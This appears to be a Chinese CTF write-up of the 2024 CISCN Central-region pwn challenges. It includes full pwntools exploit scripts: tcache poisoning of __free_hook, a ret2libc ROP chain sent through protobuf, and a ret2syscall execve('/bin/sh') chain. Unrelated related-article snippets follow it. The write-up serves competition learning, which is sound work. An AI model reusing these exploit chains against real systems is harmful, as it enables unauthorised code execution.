2024全國大學生信息安全競賽(ciscn)半決賽(華中賽區)Pwn題解

簡介

前段時間賽前準備把ciscn東北賽區、華南賽區、西南賽區半決賽的題都復現完了。

可惜遇到了華東北賽區的離譜平臺和離譜pwn出題人:

  • 假的awdp(直接傳🐎到靶機,然后連上去cat /flag.txt即可)
  • 題型分布不合理,8個web 2個pwn(還是沒有libc的棧上簽到題)

今天把華中賽區的題目也都復現了一下,題目分布為1個簡單堆、1個高版本堆、1個go和1個protobuf。

對比之下,華東北的題最爛。

Pwn1-note

簽到堆題,2.31版本libc(tcache利用最簡單的版本)。

題目沒去除符號表,經典菜單題,逆向也不復雜。

逆向分析

拖入IDA分析:

image-20240625150826971

經典的增刪改查菜單,逐個分析。

add

image-20240625150911008

可以申請最多1024個任意大小的chunk(小于0x1000)。

edit

image-20240625151012613

正常編輯功能,不存在溢出。

delete

image-20240625151108465

關鍵漏洞點,存在UAF漏洞。

show

image-20240625151130024

正常打印輸出chunk中的內容。

利用思路

題目給的glibc2.31相對來說還是比較好利用的,沒有fd指針也加密,malloc也不檢查是否0x10對齊。

存在UAF漏洞,沒有任何限制。打法有很多種,最簡單的就是tcache poisoning打__free_hook -> system。

通過tcache泄露堆地址,通過unsorted bin泄露libc,然后修改tcache的fd指針指向free_hook。

修改free_hook為system,然后釋放一個帶有/bin/sh的chunk即可完成利用。

exp

from pwn import *elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'def add_chunk(size, content):p.sendlineafter(b"5. exit\n", b"1")p.sendlineafter(b"content: \n", str(size).encode())p.sendlineafter(b"content: \n", content)def edit_chunk(index, content):p.sendlineafter(b"5. exit\n", b"2")p.sendlineafter(b"index: \n", str(index).encode())p.sendlineafter(b"content: \n", str(len(content)).encode())p.sendafter(b"Content: \n", content)def delete_chunk(index):p.sendlineafter(b"5. exit\n", b"3")p.sendlineafter(b"index: \n", str(index).encode())def show_chunk(index):p.sendlineafter(b"5. exit\n", b"4")p.sendlineafter(b"index:", str(index).encode())# leak heap and libc
for i in range(9):add_chunk(0x98, b'a' * 0x98)  # 0-8for i in range(7):delete_chunk(6 - i)
delete_chunk(7)show_chunk(0)
heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
success("heap_base = " + hex(heap_base))show_chunk(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))# tcache poisoning
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
edit_chunk(1, b'/bin/sh\x00')edit_chunk(0, p64(free_hook))
add_chunk(0x98, b'b' * 0x98)  # 9
add_chunk(0x98, p64(system))  # 10 __free_hook# gdb.attach(p)
# pause()delete_chunk(1)p.interactive()

Pwn2-protoverflow

題目很簡單,ret2libc。

難點在于交互時套了一層C++ Protobuf的殼。

Protobuf-C逆向可以參考《深入二進制安全:全面解析Protobuf》文章,近期會再更新一期關于C++中Protobuf結構體還原的方法。

逆向分析

image-20240625172306036

發現程序運行時會打印puts函數地址,泄露libc。然后解析Protobuf結構體并調用真正的主函數。

結構體還原

使用pbtk工具:

pbtk-1.0.5/extractors/from_binary.py ./pwn

得到結構體:

syntax = "proto2";message protoMessage {optional string name = 1;optional string phoneNumber = 2;required bytes buffer = 3;required uint32 size = 4;
}

利用思路

image-20240625172246979

name和phoneNumber可選,沒什么用。

buffer為字符串,size可自定義,調用memcpy時會存在棧溢出漏洞。

已知libc,可以考慮直接ret2libc。

(這里需要注意的是,經過編譯后的Protobuf會在頭部增加一個Message結構體,下標3開始才是我們的字段)

(而if里判斷了下標為2的參數,這里猜測是判斷結構體中name和phoneNumber字段是否為空)

exp

from pwn import *
import message_pb2elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# leak libc
p.recvuntil(b'Gift: ')
gift = int(p.recv(14), 16)
libc_base = gift - libc.sym['puts']
libc.address = libc_base
success("libc_base = " + hex(libc_base))# rop
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
ret = next(libc.search(asm('ret'), executable=True))
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
pop_rsi = next(libc.search(asm('pop rsi; ret'), executable=True))
pop_rdx_r12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))rop = b'a' * 0x210 + b'deadbeef'
rop += p64(pop_rdi) + p64(binsh)
rop += p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) * 2
rop += p64(system)# gdb.attach(p, 'b *$rebase(0x3345)\nc')
# pause()message = message_pb2.protoMessage()
message.buffer = rop
message.size = len(rop)p.send(message.SerializeToString())p.interactive()

Pwn3-go_note

Go語言靜態編譯的題目,IDA反編譯不是很好,但是代碼不復雜且漏洞點很好發現。

關鍵問題是沒有libc,需要找一些ROP來調用靜態編譯的函數,方法可能不是最優解,但是很容易想到。

逆向分析

Go語言逆向,相比于C語言的區別如下:

  • main函數名為main_main(如果去除符號表,考慮通過bindiff還原)

  • 參數依次通過寄存器傳遞:AX、BX、CX、DI、SI、R8、R9、R10、R11

對于Go語言逆向,IDA支持不是很好,我們需要結合匯編代碼和動態調試來分析。

找到main_main函數:

image-20240625174510916

好在不是很復雜,根據菜單發現有add、delete、edit和show功能,依次分析。

add

image-20240625180057909

存在一個Notes結構體,存儲len和array結構體數組。add函數會將id、content_len和content加入到array結構體數組中。

delete

image-20240625180225045

直接看變量有點復雜,結合gdb調試發現不存在UAF漏洞。

edit

image-20240625202417201

直接看變量有點復雜,結合gdb動態調試發現這里沒有判斷輸入長度,存在溢出漏洞并能覆蓋到返回地址。

show

image-20240625202429139

看上去沒有什么漏洞,直接打印內容。

利用思路

結合動態調試,發現edit存在棧溢出漏洞,可以劫持程序的控制流程。

由于題目沒有給出libc,也沒辦法泄露相關地址,我直接采用了ret2syscall。

題目是靜態編譯,搜索下syscall發現有如下函數:

image-20240625202533683

我們的目的是執行execve(“/bin/sh”, 0, 0)。rax寄存器為系統調用號,rbx、rcx、rdi是系統調用的三個參數。

然后通過ROPgadget找到gadget:

rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    				# pop rax, rbp; ret
pop_rbx = 0x0000000000404541        				# pop rbx; ret
mov_rcx_0 = 0x000000000040318f      				# mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  	# xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160

找不到pop rcx和pop rdi指令,由于rcx和rdi都應該置0,所以可以找mov或者xor指令替代。

經過一番查找,發現一條mov rcx, 0指令可以把rcx寄存器置0。

并且,有一條xor edi, edi; add rsp, 0x10; pop rbp;指令,只要能夠讓edi置0即可,后面的指令相當于彈出棧上3個參數,填充即可。

現在距離拿下shell只差一步,題目沒有/bin/sh字符串,需要我們想辦法寫入一個已知地址。

經過調試發現,add函數將內容寫在了堆上,我們可以考慮利用一些gadget將字符串寫到bss段上。

比如,可以通過下面的gadget:

# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edx
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)

然后正常的覆蓋返回地址到rop gadget執行ret2syscall即可。

exp

from pwn import *elf = ELF("./note")
p = process([elf.path])context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'# rop
rw_mem = 0x527088
pop_rax_rbp = 0x0000000000404408    # pop rax, rbp; ret
pop_rbx = 0x0000000000404541        # pop rbx; ret
mov_rcx_0 = 0x000000000040318f      # mov rcx, 0; ret
xor_edi_add_rsp_10_pop_rbp = 0x0000000000411aee  # xor edi, edi; add rsp 0x10; pop rbp; ret
syscall = 0x403160# use to write /bin/sh
# ...                               # pop rax, rbp; ret
pop_rdx = 0x000000000047a8fa        # pop rdx; ret
mov_meax_edx = 0x0000000000402fd1   # mov [eax], edxpayload = b'a' * 0x38 + b'deadbeef'
# write /bin to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem) + p64(0)
payload += p64(pop_rdx) + b'/bin' + b'\x00' * 4
payload += p64(mov_meax_edx)
# write /sh to rw_mem
payload += p64(pop_rax_rbp) + p64(rw_mem + 4) + p64(0)
payload += p64(pop_rdx) + b'/sh' + b'\x00' * 5
payload += p64(mov_meax_edx)
# syscall 0x3b
payload += p64(pop_rax_rbp) + p64(0x3b) + p64(0)
payload += p64(pop_rbx) + p64(rw_mem)
payload += p64(mov_rcx_0)
payload += p64(xor_edi_add_rsp_10_pop_rbp) + p64(0) * 3
payload += p64(syscall)p.sendline(b'1')
p.sendline(b'a')
p.sendline(b'3')
p.sendline(b'1')# gdb.attach(p, 'b *0x47F41E\nc')
# pause()p.sendline(payload)p.interactive()

Pwn4-starlink

逆向起來比較費勁,涉及到了SSE指令,IDA反編譯的有問題,并且結構體設置的比較復雜。

除了final和destroy函數都逆了下,但是沒有找到漏洞點,有興趣的師傅可以做一下。(聽武漢大學的secsome師傅和V3rdant師傅說是start結構體的0x00偏移量位置的計數器沒有+1,這里確實是一個漏洞點,但是不知道后續怎么利用。)

(secsome師傅說IDA把一堆32bytes的識別成xmm導致反編譯的有問題)

這里給出一部分逆向分析過程。

逆向分析

查看main函數,發現是經典菜單題,選項多了點,逐個分析。

add_star

image-20240625204450338

最多申請0x100個chunk。輸入idx、size和content,申請0x60大小的chunk_a后申請指定size的chunk_b。

與常規題目不同的是:

if ( ptr )
{__printf_chk(1LL, "Data: ");read(0, ptr, size);*(_QWORD *)&vars0 = 1LL;vars40 = &vars30.m128i_i64[1];*((_QWORD *)&vars0 + 1) = idx;vars10 = 0uLL;*(_QWORD *)&buf = 0LL;*((_QWORD *)&buf + 1) = size;vars48 = 0LL;vars30 = _mm_unpacklo_epi64((__m128i)(unsigned __int64)ptr, (__m128i)(unsigned __int64)&vars30.m128i_u64[1]);*((_QWORD *)heap_array + idx) = &vars0;return puts("Star created!");
}

這段代碼很奇怪,反編譯有問題。

前面將申請的0x60大小chunk_a的用戶區域指針賦值給了rbp,chunk_b的用戶區域指針賦值給了r12。

這里read內容到chunk_b后執行了一系列命令,可以看下匯編:

image-20240625211818758

執行如下操作:

  • [chunk_a] = 1
  • [chunk_a + 8] = idx
  • [rbp + 0x40] = &chunk_a + 0x38
  • [rbp + 0x28] = size

而對于punpcklqdq xmm0, xmm1指令,動態調試發現:

image-20240625214505777

執行結果,xmm0為16字節。低8字節為&chunk_b,高8字節為&chunk_a + 0x38。

然后執行如下操作:

  • [chunk_a + 0x30] = xmm0,即[rbp + 0x30] = &chunk_b,[rbp + 0x38] = &chunk_a + 0x38。
  • heap_array[idx] = &chunk_a。

動態調試后結構如下所示:

image-20240625214936911

add_link

image-20240626075505510

輸入chunk_a和chunk_b的下標,然后輸入distance,會判斷chunk+0x20的位置是否有數據,若不為0則代表已經finalize。

然后判斷chunk+0x10的位置是不是小于0x100,猜測這里是代表當前結點的連接數量。

后面的部分看匯編代碼:

image-20240626075824877

申請0x30大小的chunk作為link結構體。它執行如下操作:

  • rcx = [chunk_a + 0x38]
  • xmm0 = &chunk_b
  • rdx = &link_chunk + 0x10
  • [link_chunk] = distance
  • r12 = r12 + 1
  • rsi = &chunk_a + 0x38
  • edi = 0x20
  • xmm3 = [chunk_a + 0x38]
  • [link_chunk + 0x18] = &chunk_a + 0x38
  • punpcklqdq xmm0, xmm3,結果是xmm0的低8字節為&chunk_b,高8字節為[chunk_a + 0x38]。
  • [link_chunk + 0x8] = &chunk_b,[link_chunk + 0x10] = [chunk_a + 0x38]
  • [[chunk_a + 0x38] + 8] = &link_chunk + 0x10
  • [chunk_a + 0x38] = &link_chunk + 0x10
  • [chunk_a + 0x10] = [chunk_a + 0x10] + 1

動態調試結果如下:

image-20240626082623399

然后再次調用malloc申請一個0x30大小的chunk,執行如下操作:

  • rcx = [chunk_b + 0x38]
  • xmm0 = &chunk_a
  • rdx = &chunk_link + 0x10
  • [chunk_link] = distance
  • rsi = &chunk_b + 0x38
  • xmm4 = [chunk_b + 0x38]
  • [chunk_link + 0x18] = &chunk_b + 0x38
  • punpcklqdq xmm0, xmm3,結果是xmm0的低8字節為&chunk_a,高8字節為[chunk_b + 0x38]。
  • [chunk_link + 0x8] = &chunk_a,[chunk_link + 0x10] = [chunk_b + 0x38]
  • [[chunk_b + 0x38] + 8] = &chunk_link + 0x10
  • [chunk_b + 0x38] = &chunk_link + 0x10
  • [chunk_b + 0x10] = [chunk_b + 0x10] + 1

動態調試結果如下:

image-20240626084125058

view_start

image-20240626084451663

根據輸入的idx輸出對應的Index、Data、LinkCount和Distance。

可以結合這個show函數還原部分結構:

image-20240626090836643

大概可以知道,start存儲了Index、data_len、data_ptr和Link_count,并且和這個start相關的link組成了一個雙向鏈表。

對于每個start的link,存儲distance、star_ptr、fd和bk,類似于鏈表實現鄰接矩陣。

update_star

image-20240626091238961

根據update函數,又能推斷出一些信息:field_20和finalize有關。

然后可以正常edit數據區域,不存在溢出漏洞。

push_star

image-20240626092930490

將field_0的值減1,如果field_0為0則進入清理操作。

將所有link刪除,然后將star刪除。

final

image-20240626095122784

final函數用于構建graph。

后面實在不想分析了,看了會也沒找到漏洞在哪。

題目附件

關注公眾號【Real返璞歸真】回復【ciscn】下載題目附件。

image-20240626105345009

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/35557.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/35557.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/35557.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

當前的網安行業絕對不是高薪行業

昨天,面試了一個剛畢業兩年的同學小A。第一學歷為某大專,第二學歷為某省地區的本科院校。面試過程表現一般偏下,但動不動就要薪資15K 這個人,我當場就PASS了。主要原因是,并非是否定小A同學的能力,而是他…

VSCode運行前端項目-頁面404

背景: 通過VSCode運行前端本地項目,運行成功后打開本地鏈接:http://1x.xxx.x.xxx:9803/ ,發現打開的頁面重定向到404:http//1xx.xxx.x.xxx:9803/404; 并且控制臺出現:Failed to load resource: …

詳解 ClickHouse 的監控及備份

一、ClickHouse 監控概述 ClickHouse 運行時會將一些個自身的運行狀態記錄到眾多系統表中(system.*)。所以對于 ClickHouse 自身的一些運行指標的監控數據,也主要來自這些系統表。直接查詢這些系統表進行監控會有一些不足之處: 這…

win10修改遠程桌面端口,Windows 10下修改遠程桌面端口及服務器關閉445端口的操作指南

Windows 10下修改遠程桌面端口及服務器關閉445端口的操作指南 一、修改Windows 10遠程桌面端口 在Windows 10系統中,遠程桌面連接默認使用3389端口。為了安全起見,建議修改此端口以減少潛在的安全風險。以下是修改遠程桌面端口的步驟: 1. 打…

IMX6ULL SD卡啟動uboot+kernel+rootfs

目錄 1. 背景說明 2.SD卡啟動 2.1準備條件 2.2 對SD卡分區格式化 2.3 制作sd卡鏡像 3.效果測試 1. 背景說明 網絡上絕大數教程,教大家把uboot燒錄到SD卡,然后uboot啟動后,通過TFTP下載kernel和設備樹,然后通過nfs掛載文件系…

油猴腳本入門

如何支持jquery 首先要在頭部引入外部資源 require https://cdn.bootcss.com/jquery/2.2.1/jquery.js編輯開始前添加一個注釋 /* globals $ */完整代碼 // UserScript // name study_jquery // namespace http://tampermonkey.net/ // version 1.0 // …

ultralytics官方更新 | 添加YOLOv10到ultralytics

💡💡💡本專欄所有程序均經過測試,可成功執行💡💡💡 專欄目錄:《YOLOv8改進有效漲點》專欄介紹 & 專欄目錄 | 目前已有40篇內容,內含各種Head檢測頭、損失函數Loss、…

【C++】類和對象(六)

文章目錄 二、static成員概念面試題一個題目 三、友元友元函數說明 友元類 四、內部類(了解)概念:注意:特性: 五、匿名對象 書接上回: 【C】類和對象(五)隱式類型轉換 二、static成員 01_31 03 12 01 概…

Xcode 手動添加模擬器

在Xcode中下載iOS模擬器很慢,且經常出現下載失敗,需重新從頭開始下載的問題。現了解Xcode 15 和運行環境是分離的,故闡述一下手動添加模擬器的步驟: 官網下載所需模擬器:https://developer.apple.com/download/all/?…

idea項目推送gitee/github

選擇需要的項目創建本地Git倉庫 添加到暫存區 第一次提交 或者點擊這里 寫備注并commit 推送遠程倉庫 填寫地址 解決上圖警告 右鍵打開項目,輸入 git pull origin master –allow-unrelated-historiesgit push -u origin master -f推送成功 idea項目推送github及克…

怎么用韓語說幫忙更合體,柯橋零基礎韓語培訓

1. **詳細解釋:** - **標準寫法與音譯:** - **??**(讀作 dop-da):動詞“幫助”。 - **????**(讀作 do-wa-ju-da):動詞“幫忙”,字面意思是“給予幫助”。 - **??…

PMP證書在國內已經泛濫了,大家怎么看?

目前,越來越多的人獲得了PMP證書。自1999年PMP引入中國以來,全國累計PMP考試人數接近60萬人次,通過PMP認證的人數約為42萬人。雖然這個數據看起來很大,但絕對不能說是過多。 首先,PMP在中國并不普遍。根據美國項目管理…

【源碼+文檔+調試講解】災害應急救援平臺

摘 要 災害應急救援平臺的目的是讓使用者可以更方便的將人、設備和場景更立體的連接在一起。能讓用戶以更科幻的方式使用產品,體驗高科技時代帶給人們的方便,同時也能讓用戶體會到與以往常規產品不同的體驗風格。 與安卓,iOS相比較起來&…

linux好用的分屏器byobu

什么是byobu byobu是linux下分屏器工具tmux或screen的包裝器。 安裝 sudo apt-get install byobu 啟動 emaubuntu:~$ byobu配置通知欄 按F9進入Byobu配置菜單導航到切換狀態通知選項,然后按ENTER鍵可以在選中和不選中之間切換選擇要啟用的狀態通知后&#xff…

深度學習項目實例(一)—— 實時AI換臉項目

一、前言 人工智能(AI)技術的快速發展為各個領域帶來了革命性的變化,其中之一就是人臉識別與圖像處理技術。在這之中,AI換臉技術尤其引人注目。這種技術不僅在娛樂行業中得到廣泛應用,如電影制作、視頻特效等&#xf…

static在C/C++中的作用

C語言中 static 的作用: 文件作用域的全局變量: 當static修飾一個全局變量時,這個變量只在定義它的文件內部可見,不會被其他文件訪問。 靜態局部變量: 在函數內部,static關鍵字確保局部變量的生命周期貫穿整…

目前公認最好用充電寶!四款高性價比充電寶推薦,一文看懂!

當我們在旅行途中,手機和相機等設備必不可少。長時間使用這些設備,電量很容易耗盡。此時,充電寶就能派上用場,讓我們在欣賞美景、記錄美好時光的同時,不再擔心電量不足。特別在假期出游的時候在我們玩的特別盡興的時候…

力扣2815.數組中的最大數對和

力扣2815.數組中的最大數對和 遍歷每個元素 并求其中最大的數字 將每個數字對應的最大元素存在數組中每遍歷到一個新的元素 &#xff0c;將其存在對應的數組位置中 class Solution {public:int maxSum(vector<int>& nums) {vector<int> cnt(10,INT_MIN);int…

【C++】關于虛函數的理解

深入探索C虛函數&#xff1a;原理、應用與實例分析 一、虛函數的原理二、虛函數的應用三、代碼實例分析四、總結 在C面向對象編程的世界里&#xff0c;虛函數&#xff08;Virtual Function&#xff09;扮演著至關重要的角色。它不僅實現了多態性這一核心特性&#xff0c;還使得…

查看linux服務器cpu,硬盤,內存

lscpu 查看cpu 釋義 Architecture: x86_64 // 指定系統架構&#xff0c;這里是 x86_64&#xff0c;表示一個64位系統。 CPU op-mode(s): 32-bit, 64-bit // 指示支持的 CPU 操作模式&#xff0c;顯示了32位和64位兩種模式。 Byte Order: Little…